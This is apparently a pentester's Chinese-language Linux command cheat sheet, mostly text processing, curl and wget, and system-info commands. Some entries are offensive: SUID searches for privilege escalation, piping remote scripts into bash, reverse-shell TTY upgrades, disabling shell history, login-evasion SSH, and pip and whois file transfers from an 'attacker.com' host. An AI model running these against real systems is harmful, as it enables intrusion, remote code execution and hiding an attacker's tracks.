0%

Linux部分实用命令

linux部分命令速查 for me。

命令行的艺术 OSCP Notes

获取命令帮助的网站
gtfobins
Runoob

查看用户|用户组

1
2
cat /etc/passwd
cat /etc/group

linux中存放用户密码的文件
/etc/shadow 加密过得~

显示某个文件的第几行

显示文件的5到20行
sed -n '5,20p' firename

删除文本换行符和空格

1
awk '{printf("%s",$0)}' tmp.txt | sed 's/\ //g' $1

linux 下删除文本空行

grep

1
grep -v '^$' file

sed

1
sed '/^$/d' file

awk

1
awk '/./ {print}' file 或 awk '{if($0!=" ") print}'

tr

1
2
3
tr -s "n"

tr "\n" " " #替换为空格

vim

除此之外,vim也可以在查看时。通过命令模式删除空行。vim在命令模式下输入:

1
%s/^n//g

意思是全局替换所有以回车开头的字符,替换为空。如果有多个连续的空行,想保留一行。则只需在命令行模式输入下行即可:

1
%s/^n$//g

linux shell 字符串反转 rev

1
2
$ echo $PATH|rev
lrep_eroc/nib/rsu/:lrep_rodnev/nib/rsu/:lrep_etis/nib/rsu/:nib/rsu/:nib/lacol/rsu/:nibs/lacol/rsu/

linux shell base64

1
2
3
$ echo $PATH|base64
L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvYmluOi91c3IvYmluL3NpdGVfcGVy
bDovdXNyL2Jpbi92ZW5kb3JfcGVybDovdXNyL2Jpbi9jb3JlX3BlcmwK

在线加密解密

查找SUID位的文件

1
2
3
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm /4000 2>&1 | grep -v “Permission denied”
find / -perm -u=s -type f 2>/dev/null

查看Linux内核/系统版本

cat /proc/version

1
2
cat /proc/version
Linux version 5.5.13-arch2-1 ([email protected]) (gcc version 9.3.0 (Arch Linux 9.3.0-1)) #1 SMP PREEMPT Mon, 30 Mar 2020 20:42:41 +0000

uname -a

1
2
uname -a
Linux sds0 5.5.13-arch2-1 #1 SMP PREEMPT Mon, 30 Mar 2020 20:42:41 +0000 x86_64 GNU/Linux

lsb_release -a

1
2
3
4
5
6
lsb_release -a
LSB Version: 1.4
Distributor ID: Arch
Description: Arch Linux
Release: rolling
Codename: n/a

cat /etc/issue

1
2
cat /etc/issue
Arch Linux \r (\l)

curl 部分用法

模拟浏览器发送get请求

1
curl http://www.baidu.com

发送POST请求

1
curl -X POST -d "flagpls=flagpls" http://ip

在浏览器开发者工具存储器中可设置cookie

获取可进行的请求

1
curl http://..... -X OPTIONS -v

设置User-agent,不设置ua默认的是curl/curl的版本号

1
2
3
4
User-Agent: curl/7.64.1

那么怎么设置呢?
-A, --user-agent <name> Send User-Agent <name> to server
1
curl www.baidu.com -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36'

如果抓包的话就会发现请求包头的UA字段变成了上面那个了。

wget部分用法

wget设置UA下载

1
wget --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36" url

终端输出(不另存为成单独的文件)

1
wget -q -O - http://1.1.1.1:8000/linpeas.sh

python打开tty,nc升级完全交互式的TTY

如何将简单的Shell转换成为完全交互式的TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# In reverse shell

python -c 'import pty; pty.spawn("/bin/bash")'

目标系统没有python时可用:SHELL=/bin/bash script -q /dev/null
Ctrl-Z

# In Kali
stty raw -echo
fg

# In reverse shell
reset
xterm
export TERM=xterm
stty rows 48 cols 99

python部署简易网站

1
2
3
python -m SimpleHTTPServer # 不指定端口默认8000
python -m http.server
python3 -m updog --ssl --password 123456 -p 80 #不是自带库,需要安装。

不验证证书进行https请求

1
2
3
4
wget 'https://x.x.x.x/get_ips' --no-check-certificate
curl 'https://x.x.x.x/get_ips' -k
gobuster dir -u 'https://x.x.x.x/' -w ~/big.txt -k
feroxbuster --url 'https://x.x.x.x/' --wordlist ~/big.txt -k

设置term

1
export TERM=xterm

Arch 查询滚了多少次(…)

1
echo $(head -n1 /var/log/pacman.log | cut -d " " -f 1,2) 以来一共滚了 $(grep -c "full system upgrade" /var/log/pacman.log) 次

渗透过程中不记录历史命令

export HISTFILE=/dev/null 将HISTFILE设置为/dev/null

cat | zsh隐身模式。

避免登录被记录

1
2
3
ssh -T [email protected]

#进去后是没有交互式终端的,可以自己用nc会话升级的办法升级。升级之后w也是查看不到在已登陆用户。

无文件落地执行

1
2
3
curl -L http://aaaa.com/a.sh|bash
/bin/bash -c "$(curl -fsSL https://aaaa/a.sh)"
wget -q -O - http://1.1.1.1/a.sh|bash

Dos格式文件快速转为Unix

使用vi

1
2
:set fileformat=unix
:w

dos2unix

1
dos2unix filename

Linux使用impakcet快速开启一个SMB共享目录

1
python3 /usr/share/doc/python3-impacket/exapmles/smbserver.py -comment "My Share" TMP /tmp

PIP下载文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
export URL=http://attacker.com/file_to_get

export LFILE=/tmp/file_to_save

TF=\$(mktemp -d)

echo 'import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])' \> \$TF/setup.py

pip install \$TF

whois传输文件

攻击机执行

1
2
3
4
nc -lp 12345 < "abc"

## 传递二进制文件
base64 "file_to_send" \| nc -l -p 12345

靶机执行

1
2
3
4
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h \$RHOST -p \$RPORT \> "\$LFILE"

切换java版本

1
sudo update-alternatives --config java

编译32位且动态链接库文件很老的二进制文件

1
gcc -Wl,--hash-style=both -m32 -o test test.c

nohup

如果用ssh连接服务器,在ssh连接中断后,在ssh下开启的后台命令什么的都会被中断掉。但是有时候会有些任务持续的时间很长,那么可以使用nohup命令. 该命令可以在你退出帐户/关闭终端之后继续运行相应的进程. nohup就是不挂起的意思。

1
nohup tcpdump -i eth0 -w a.pcap &

之后tcpdump用户就会执行这个进程,在你ssh会话挂了之后此任务还会继续进行。

正则

1
2
3
4
5
6
提取一段内容中的所有IP地址
((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}
判断字符串是否是IP地址
^((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}$
提取md5hash
[0-9a-fA-F]{32}

mysql查询结果写到文件

into outfile

1
select count(1) from table  into outfile '/tmp/test.xls';

有可能就英文secure_file_priv或者是mysql权限的原因导致无法写入。

命令行写

1
mysql -h 127.0.0.1 -u root -p XXXX -P 3306 -e "select * from database.table"  > /tmp/test/txt

ssh-keygen生产私钥对

1
ssh-keygen rsa 4096 -f a.key

SSH

Unable to negotiate with 10.129.131.134 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

1
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]

CGI-BIN

常见后缀

1
sh,pl,py,cgi